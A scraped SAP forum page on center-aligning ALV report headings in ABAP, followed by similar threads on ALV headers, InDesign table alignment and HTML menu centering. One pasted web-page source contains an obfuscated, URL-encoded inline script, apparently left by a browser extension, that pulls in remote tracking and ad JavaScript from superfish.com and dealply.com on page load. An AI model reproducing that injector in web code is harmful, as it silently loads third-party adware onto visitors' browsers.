Center align Alv Heading possible ?

Hello everyone,
I was wondering is there any possiblity to align ALV heading.
Currently i am using 'REUSE_ALV_COMMENTARY_WRITE'
Using the TYPE SLIS_T_LISTHEADER, i am adding the headings and calling 'REUSE_ALV_COMMENTARY_WRITE'.
Any possiblity to Center align the ALV headings
Thanks.

REPORT  ZTEST4.
TABLES : t001.
TYPE-POOLS: slis.
DATA : w_repid LIKE sy-repid.
TYPES : BEGIN OF ty_comp.
        INCLUDE STRUCTURE t001.
TYPES : END OF ty_comp.
DATA: wa_layout  TYPE slis_layout_alv.
DATA: it_fieldcat TYPE slis_t_fieldcat_alv,
      wa_fieldcat TYPE slis_fieldcat_alv.
DATA : it_comp TYPE TABLE OF ty_comp.
INITIALIZATION.
  w_repid = sy-repid.
START-OF-SELECTION.
  SELECT * FROM t001 INTO TABLE it_comp.
END-OF-SELECTION.
  CALL FUNCTION 'REUSE_ALV_FIELDCATALOG_MERGE'
    EXPORTING
      i_program_name         = w_repid
      i_internal_tabname     = 'IT_COMP'
      I_STRUCTURE_NAME       = 'T001'
      i_inclname             = w_repid
    CHANGING
      ct_fieldcat            = it_fieldcat[]
    EXCEPTIONS
      inconsistent_interface = 1
      program_error          = 2
      OTHERS                 = 3.
  CALL FUNCTION 'REUSE_ALV_GRID_DISPLAY'
    EXPORTING
      i_callback_program          = w_repid
      i_callback_html_top_of_page = 'HTML_TOP_OF_PAGE'
      is_layout                   = wa_layout
      it_fieldcat                 = it_fieldcat
      i_html_height_top      = 10
    TABLES
      t_outtab                    = it_comp
    EXCEPTIONS
      program_error               = 1
      OTHERS                      = 2.
*&      Form  html_top_of_page
FORM html_top_of_page USING document TYPE REF TO cl_dd_document.
  DATA: text TYPE sdydo_text_element.
  DATA: position TYPE i.
  SEARCH document->html_table FOR document->cursor.
  IF sy-subrc eq 0.
    position = sy-tabix.
    CALL METHOD document->html_insert
      EXPORTING
        contents = '<div class=MsoNormal align=center style="text-align:center"> '
      CHANGING
        position =  position.
    CALL METHOD document->html_insert
      EXPORTING
        contents = '<span align="center" style=" font-weight:bold;">Test Company Code Data</span> </DIV>'
      CHANGING
        position = position.
  ENDIF.
  CALL METHOD document->new_line.
  CALL METHOD document->new_line.
  text = 'User Name : '.
  CALL METHOD document->add_text
    EXPORTING
      text         = text
      sap_emphasis = 'Strong'.
  CALL METHOD document->add_gap
    EXPORTING
      width = 2.
  text = sy-uname.
  CALL METHOD document->add_text
    EXPORTING
      text      = text
      sap_style = 'Key'.
  CALL METHOD document->add_gap
    EXPORTING
      width = 10.
  CALL METHOD document->add_icon
    exporting
      sap_icon = 'ICON_DATE'.
  text = 'Date : '.
  CALL METHOD document->add_text
    EXPORTING
      text         = text
      sap_emphasis = 'Strong'.
  CALL METHOD document->add_gap
    EXPORTING
      width = 2.
  text = sy-datum.
  CALL METHOD document->add_text
    EXPORTING
      text      = text
      sap_style = 'Key'.
  CALL METHOD document->add_gap
    EXPORTING
      width = 10.
  text = 'Time : '.
  CALL METHOD document->add_text
    EXPORTING
      text         = text
      sap_emphasis = 'Strong'.
  CALL METHOD document->add_gap
    EXPORTING
      width = 2.
  text = sy-uzeit.
  CALL METHOD document->add_text
    EXPORTING
      text      = text
      sap_style = 'Key'.
  CALL METHOD document->new_line.
  CALL METHOD document->underline.   "Draw  an underLine
ENDFORM.                    "HTML_TOP_OF_PAGE

Similar Messages

  • I want to display header information of My ALV Report center Aligned.

    Hi all,
    I want to display header information of My ALV Report center Aligned. How can I do it..Also I want to show two different Layout display of ALV report according to the Radio Button Present in the selection screen.. Pls help me out in this.

    Hi,
    call function 'REUSE_ALV_GRID_DISPLAY'
           exporting
                i_callback_program      = gd_repid
                i_callback_top_of_page   = 'TOP-OF-PAGE'  "see FORM
    Form top-of-page.
    *ALV Header declarations
    data: t_header type slis_t_listheader,
          wa_header type slis_listheader,
          t_line like wa_header-info,
          ld_lines type i,
          ld_linesc(10) type c.
    Title
      wa_header-typ  = 'H'.
      wa_header-info = '       EKKO Table Report            '. Leave Space such that it comes to Center
      append wa_header to t_header.
      clear wa_header.
    Date
      wa_header-typ  = 'S'.
      wa_header-key = 'Date: '.
      CONCATENATE  sy-datum+6(2) '.'
                   sy-datum+4(2) '.'
                   sy-datum(4) INTO wa_header-info.   "todays date
      append wa_header to t_header.
      clear: wa_header.
    Total No. of Records Selected
      describe table it_ekko lines ld_lines.
      ld_linesc = ld_lines.
      concatenate 'Total No. of Records Selected: ' ld_linesc
                        into t_line separated by space.
      wa_header-typ  = 'A'.
      wa_header-info = t_line.
      append wa_header to t_header.
      clear: wa_header, t_line.
      call function 'REUSE_ALV_COMMENTARY_WRITE'
           exporting
                it_list_commentary = t_header.
               i_logo             = 'Z_LOGO'.
    endform.

  • Some of the pivot table header column not center-aligned

    I've dragged a pivot table model from Data Controls. The generated pivot table on page does not display some of the header columns center-aligned. I tried to set a css style in HeaderFormat listener for the columns, but it did not work. I checked the html source code and found the problem was caused by "colspan" not created properly. I'd like to know how pivot table header columns are created, anyone who knows please kindly give some tips,thanks!

    Try setting the Header Row to allow to repeat. I've had to set that Repeat option to get things to break over pages correctly.
    Ryan D. Lunka
    Cardinal Solutions Group
    [email protected]

  • Problem with aligning values in ALV header???????

    I am supposed to show  some values in ALV header some thing like this
    PGMID:      xxxxx
    Material:    p_Matnr-low    to   p_Matnr high
    Plant:        p_werks-low    to  p_werks-high
       ALV Reoport
    For this i wrote code something like this.
    Fieldcatalog-status='s'.
    Fieldcatalog-key = 'PGMID:'.
    FieldCatalog-info = 'xxxxxxxx'
    append field catlalog.
    Fieldcatalog-status='s'.
    Fieldcatalog-key = 'Material:'.
    Concatenate p_Matnr-low
                       'to'
                        p_Matnr-high into FieldCatalog-info. 
    append field catlalog.
    etc................
    Now output shown is like this
    PGMID:      xxxxx
    Material:    p_Matnr-low  to p_Matnr high
    Plant:        p_werks-low  to p_werks-high
    I am not able to give a good gap in between the 'to' as shown initially. Any idea on this??
    Rakesh

    Hi,
    Please find attached below code :
      IF NOT so_bukrs-low IS INITIAL AND NOT so_bukrs-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Company Code'(015).
        CONCATENATE so_bukrs-low 'to' so_bukrs-high INTO gs_line-info
        SEPARATED BY space.
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_bukrs-low IS INITIAL AND so_bukrs-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Company Code'(015).
        gs_line-info = 'ALL Values'(012).
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_bukrs-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Company Code'(015).
        gs_line-info = so_bukrs-low.
        APPEND gs_line TO lt_top_of_page.
      ENDIF.
    *Fiscal Year
      CLEAR gs_line.
      gs_line-typ = gc_s.
      gs_line-key = 'Year'(014).
      MOVE sp_gjahr TO gs_line-info.
      APPEND gs_line TO lt_top_of_page.
    *Period
      CLEAR gs_line.
      gs_line-typ = gc_s.
      gs_line-key = 'Period'(013).
      MOVE sp_monat TO gs_line-info.
      APPEND gs_line TO lt_top_of_page.
    *Currency Key
      IF NOT so_waers-low IS INITIAL AND NOT so_waers-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Currency'(011).
        CONCATENATE so_waers-low 'to' so_waers-high INTO gs_line-info
        SEPARATED BY space.
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_waers-low IS INITIAL AND so_waers-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Currency'(011).
        gs_line-info = 'ALL Values'(012).
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_waers-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Currency'(011).
        gs_line-info = so_waers-low.
        APPEND gs_line TO lt_top_of_page.
      ENDIF.
    *Clearing Doc
      IF NOT so_augbl-low IS INITIAL AND NOT so_augbl-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Clearing Doc'(020).
        CONCATENATE so_augbl-low 'to' so_augbl-high INTO gs_line-info
        SEPARATED BY space.
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_augbl-low IS INITIAL AND so_augbl-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Clearing Doc'(020).
        gs_line-info = 'ALL Values'(012).
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_augbl-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'Clearing Doc'(020).
        gs_line-info = so_augbl-low.
        APPEND gs_line TO lt_top_of_page.
      ENDIF.
    *User ID
      IF NOT so_usrid-low IS INITIAL AND NOT so_usrid-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'User ID'(021).
        CONCATENATE so_usrid-low 'to' so_usrid-high INTO gs_line-info
        SEPARATED BY space.
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_usrid-low IS INITIAL AND so_usrid-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'User ID'(021).
        gs_line-info = 'ALL Values'(012).
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_usrid-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'User ID'(021).
        gs_line-info = so_usrid-low.
        APPEND gs_line TO lt_top_of_page.
      ENDIF.
    *GL Account
      IF NOT so_hkont-low IS INITIAL AND NOT so_hkont-high IS INITIAL.
        SHIFT so_hkont-low LEFT DELETING LEADING '0'.
        SHIFT so_hkont-high LEFT DELETING LEADING '0'.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'GL Account'(004).
        CONCATENATE so_hkont-low 'to' so_hkont-high INTO gs_line-info
        SEPARATED BY space.
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_hkont-low IS INITIAL AND so_hkont-high IS INITIAL.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'GL Account'(004).
        gs_line-info = 'ALL Values'(012).
        APPEND gs_line TO lt_top_of_page.
      ELSEIF so_hkont-high IS INITIAL.
        SHIFT so_hkont-low LEFT DELETING LEADING '0'.
        CLEAR: gs_line.
        gs_line-typ  = gc_s.
        gs_line-key  = 'GL Account'(004).
        gs_line-info = so_hkont-low.
        APPEND gs_line TO lt_top_of_page.
      ENDIF.
    Thanks,
    Sriram Ponna.

  • Help on - ALV Heading

    Hi friends,
    I want the heading of an ALV report in the format given as below ..... Is that possible ???
    In the 1st line :-
    123 ( Left corner ) ..... ABC (Center).... date (right corner)
    In the second line also :- something like the first line .....
    Is that possible ???
    If yes ... How can i do this ???
    Expecting your answers
    thanks in advance
    Cheers
    R.Kripa

    refer the links:
    http://www.sap-img.com/abap/test-alv-display-with-header-footer.htm
    or
    http://www.sap-img.com/abap/sample-alv-heading-in-alv.htm
    or
    ALV LIST Header
    how to display header in alv list
    The last two would address your question more precisely.
    Regards,
    Ravi

  • Is there a shortcut to center-align all items of a certain type only?

    I know the title of this thread is poorly worded; I apologize. Let me try to explain.
    I design transit schedules, which I create in InDesign using tables. These schedules list arrival times for bus stops, but when the bus does not stop at a particular stop, this is indicated by an em dash.
    Example:
    The times are left-aligned within the columns (they are aligned on the colon). However, the em dashes are center-aligned. Currently, the entire table is left-aligned by default, and I manually highlight and center-align the em dashes. When there are just a few em dashes or when the em dashes are all adjacent to each other, it's no big deal.
    But I often have to work with schedules in which the em dashes are in every other row (like the top half in the example above) or scattered throughout the table, and in those cases, my very manual method is a real pain in the neck—I have to highlight and center each em dash individually.
    What I would LOVE to find is a feature similar to the Find and Replace feature, in which I could essentially ask InDesign to Find all em dashes within the document and center align them only. I've searched for such a feature to no avail. Am I overlooking something, or is this just not possible in InDesign? And if it's not possible, can you think of a better and more efficient way of center-aligning the em dashes than my current method?
    FYI, I'm still using InDesign CS3, though I hope to upgrade soon. If I learn that a Find and Align type of feature is available in CS5, well—that's just more motivation for me to upgrade ASAP!
    Thanks for your help and input.

    It can be solved through find and change itself. I think the below image will clarify your requirement.

  • Unable to center align text in menu tabs

    following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
    <!DOCTYPE html>
    <!-- saved from url=(0022)http://www.arts.ac.uk/ -->
    <html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
      <meta charset="utf-8">
          <title>Peace University USA - America's Leading Faithbased School</title>  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <!-- navigation object : UAL: metaElement -->
        <meta charset="utf-8">
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <!-- Common Metadata Tags -->
        <meta name="robots" content="all">    <!-- Le HTML5 shim, for IE6-8 Support of HTML elements -->
        <!--[if lt IE 9]>
          <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
        <!--[if !IE 6]><!-->
      <!-- Main style css -->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
                  <!-- Responsive style-->
                <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
            <!-- Application style-->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
        <!--<![endif]-->
        <!--[if IE 7]>
          <link rel="stylesheet" type="text/css" media="screen" href="/media/artsacukstyleassets/component-library/ie7.css" />
        <![endif]-->
        <!--[if lte IE 6]>
          <link rel="stylesheet" href="http://universal-ie6-css.googlecode.com/files/ie6.0.3.css" type="text/css" />
        <![endif]-->
        <!-- The fav icons -->
        <link rel="shortcut icon" href="./images/favicon.ico">
        <!-- Load modernizr -->
       <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
      <script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
      <style type="text/css">
      body {
              margin-left: 200px;
              overflow:hidden
      .n {
              text-align: center;
      </style>
    </head>
      <!-- Apply a style to the body class -->
        <body class="ual">
        <!-- navigation object : UAL: headerElement -->
        <nav id="top-navigation-column-1" class="span2" role="navigation" >
                  <!-- navigation object : Top Navigation Column 1 --> </nav>           
    <a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
                <nav id="top-navigation-column-2" class="span3" role="navigation">
                  <!-- navigation object : Top Navigation Column 2 -->
                  <ul id="nav-sub" class="nav">
                </nav>         
    <div id="top-navigation-column-3" class="span4">
              <!-- navigation object : Search_box_Include --><!-- Add Search form -->
                  <div class="search-wrapper"></div>
              <!-- navigation object : Wayfinder_Include -->
        </div>
              </div>
            </header><!-- End of header -->
          </div><!-- End of row -->       <!-- Tabbed content -->
          <div class="tab-index">
            <div class="ual-tab">
                <figure>         <a href="http://www.faithinpeace.org">
                  <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a><!-- Main UAL Image -->
                <figcaption></figcaption>
              </figure>
                        <section class="ual-tab-scroll-text">
                  <h2>
                  </h2>
                  <p class="teaser"></p>
              </section>
            </div>
            <nav class="ual-tabbed-content">
              <ul class="nav-bar">
                <li id="camberwell" class="has-flyout">
                  <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
                </li>
                <li id="csm" class="has-flyout">
                  <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
                </li>
                <li id="chelsea" class="has-flyout">
                  <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
                </li>
                <li id="lcc" class="has-flyout">
                  <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
                </li>
                <li id="lcf" class="has-flyout">
                  <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
                </li>
                <li id="wimbledon" class="has-flyout">
                  <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
                </li>
              </ul>
              <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
                <a href="./index" title="Peace University USA">
                  <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout csm" data-role="csm" style="display: none; ">
                <a href="./admissions.htm" title="We have a place for everyone">
                  <img src="./images/admissions.png"  style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                         <a title="Academics" href="./academics.htm">
                  <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                        </a>
              </div>
              <div class="flyout lcc" data-role="lcc" style="display: none; ">
    <a title="Joining hands to strengthen resources" href="./collaborate.htm">
                  <img src="./images/collaborate.png"  style="width : 940px; height : 400px;    ">
    </a>
              </div>
              <div class="flyout lcf" data-role="lcf" style="display: none; ">
                <a href="digital.edu/lms/" title="Online Education @Peace">
                   <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
                <a href="./contact.htm" title="Contact Us">
                  <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
            </nav>
          </div><div class="four-box-teasers row">
            <ul class="slide-teasers">
              <li class="has-slide span3">
                <h3>Media Arts and Design</h3>
                <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Youth Engagement Platform</h3>
                <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                                   <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Courses</h3>
                <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                               <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>English Training Programs</h3>
                <img src="images/etp.png"  style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
                  </p>
                </div>
              </li>
            </ul>
          </div><!-- navigation object : UAL: footerElement -->      <!-- Footer -->
          <footer id="footer">
            <div class="row">
              <section class="footer-links span12">
                <ul class="footer-links span6">
    <!-- navigation object : UAL: footerLinks -->
                  <li class="facebook">
                  <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>            
                </ul>
                <!-- Add PHP date function -->
                            <ul class="footer-links span6">
                 <li><a href="http://eepurl.com/nj22f">
                  Sign up for latest News |</a></li>             
                  <li><a href="./contact.htm">
                  Contact Us </a></li></ul>
              </section>
            </div>
          </footer>
        </div>    <!-- Javascript at the bottom for faster loading -->
        <script src="./index_files/jquery.min.js"></script>
        <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>
    <!-- Application Javascript-->
      <script type="text/javascript" src="./index_files/script.js"></script>
        <!-- Asynchronous Google Analytics snippet. Change UA-XXXXX-X to be your site's ID. -->
        <!-- mathiasbynens.be/notes/async-analytics-snippet -->
        <script>
          var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
          (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
          g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
          s.parentNode.insertBefore(g,s)}(document,'script'));
        </script>
    <div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{&quot;imageCount&quot;:0,&quot;ip&quot;:&quot;182.177.144.206&quot;}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

    Have you tried adding the following css selector to your css file.
    .nav-bar a {
        text-align: center;
    or insert it in the <style> tag you have on the page:
      <style type="text/css">
      body {
        margin-left: 200px;
      .n {
        text-align: center;
    .nav-bar a {
        text-align: center;
      </style>

  • Urgent! Title in the center for ALV GRID

    Hi,
    I'm using FM REUSE_ALV_GRID_DISPLAY.
    I need to make a header like this:
    Reporting idocs (center of alv)        data time
    Material & batch (center of alv)
    Can anyone tell me how?
    Thanks!

    Hi ,
    Below is the sample code you can refer.
    This code also contain e.g. doing subtotals,interactive capalities of ALV ,Puting header etc. refer this code it will be very beneficial.
    REPORT  ZSAND_SUBTOTAL LINE-COUNT 65                        .
    *& Report ZALV_LIST
    TABLES : mseg.
    TYPE-POOLS : slis.
    DATA : BEGIN OF itab OCCURS 0,
            mblnr LIKE mseg-mblnr,
            matnr LIKE mseg-matnr,
            werks LIKE mseg-werks,
            menge LIKE mseg-menge,
            line_color(4) TYPE c,
           END OF itab.
    DATA : BEGIN OF itab1 OCCURS 0,
            mblnr LIKE mseg-mblnr,
            matnr LIKE mseg-matnr,
            werks LIKE mseg-werks,
            menge LIKE mseg-menge,
            line_color(4) TYPE c,
            END OF itab1.
    data: it_sortcat   type slis_sortinfo_alv occurs 1,
           wa_sort like line of it_sortcat.
    DATA: it_header TYPE slis_t_listheader,
            wa_header TYPE slis_listheader.
    data: var1(1).
    DATA  var2.
    data:mytabix like sy-tabix.
    data:wtab1 like line of itab,
         wtab2 like line of itab.
    DATA : t_fcat TYPE slis_t_fieldcat_alv,
    t_eve TYPE slis_t_event,
    t_subtot TYPE slis_t_sortinfo_alv,
    subtot LIKE LINE OF t_subtot,
    wa_fcat LIKE LINE OF t_fcat,
    gd_layout TYPE slis_layout_alv.
